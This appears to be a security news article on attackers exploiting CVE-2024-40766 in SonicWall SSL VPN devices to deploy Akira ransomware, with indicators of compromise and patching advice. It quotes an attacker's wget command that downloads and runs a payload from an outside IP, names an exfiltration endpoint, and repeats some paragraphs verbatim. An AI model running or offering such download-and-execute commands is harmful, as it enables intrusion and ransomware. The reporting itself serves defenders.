Threat Actors Exploiting SonicWall SSL VPN Devices in Wild to Deploy Akira Ransomware
In mid-2025, threat actors have been observed exploiting previously known vulnerabilities in SonicWall SSL VPN appliances to deploy Akira ransomware within enterprise networks.
In mid-2025, threat actors have been observed exploiting previously known vulnerabilities in SonicWall SSL VPN appliances to deploy Akira ransomware within enterprise networks.
Starting in July, multiple incidents were reported where attackers gained initial access through unpatched SonicWall devices across North America and EMEA. The attackers exploited CVE-2024-40766, an access control flaw in SonicOS versions up to 7.0.1-5035, allowing unauthenticated remote code execution.
Once inside a network, adversaries conducted reconnaissance, harvested credentials, and moved laterally before executing the ransomware payload .
By August, the frequency of attacks increased, impacting organizations in manufacturing, education, and healthcare sectors.
Typically, data exfiltration preceded encryption, with threat actors extracting sensitive files to rare external SSH endpoints before beginning network encryption.
Darktrace analysts identified several indicators of compromise, including unusual DCE-RPC requests to the epmapper service and unexpected WinRM sessions to domain controllers, well before ransom notes were presented.
Their Managed Detection and Response (MDR) platform connected these early indicators to the larger Akira campaign, facilitating rapid incident triage and containment.
The Akira ransomware strain, initially detected in March 2023, has expanded from targeting only Windows systems to include Linux variants affecting VMware ESXi hosts, making it a preferred tool for attackers aiming for extensive disruption.
Starting in July, multiple incidents were reported where attackers gained initial access through unpatched SonicWall devices across North America and EMEA.
Under its Ransomware-as-a-Service model, affiliates employ double-extortion tactics, encrypting file systems and threatening to release exfiltrated data publicly.
During each SonicWall SSL VPN compromise, operators maintained persistence by reusing stolen credentials and exploiting misconfigurations in Virtual Office Portal setups, bypassing multi-factor authentication even on patched devices.
The initial compromise often begins with the exploitation of CVE-2024-40766 in SonicWall SSL VPN.
Attackers send crafted HTTP requests to the vulnerable login.host endpoint, bypassing authentication controls.
Upon establishing a foothold, a malicious payload named vmwaretools is downloaded from a hostile cloud endpoint using a wget command:
wget http://137.184.243.69/vmwaretools -O /tmp/vmwaretools chmod +x /tmp/vmwaretools /tmp/vmwaretools
This payload installs a loader that registers a backdoor service and harvests administrative credentials via Kerberos PKINIT and UnPAC-the-hash techniques, extracting NTLM hashes without triggering standard credential audit logs.
Following credential extraction, attackers move laterally to ESXi servers over RDP and SSH, exfiltrate data via SSH to endpoint 66.165.243.39, then execute the ransomware binary on Windows and ESXi hosts.
Maintaining stealth, the loader disables local logging and utilizes legitimate administrative tools such as WinRM and Rclone for intra-network communication.
By the time encryption starts, attackers have ensured persistence through backdoored services and stolen credentials for future access.
Organizations are advised to apply SonicWall patches released in August 2024, enforce strict credential hygiene, and monitor for anomalous external SSH traffic.
Early detection of unusual DCE-RPC, WinRM, and certificate download events is crucial for disrupting this evolving Akira campaign.
Based on reporting by Cyber Security News.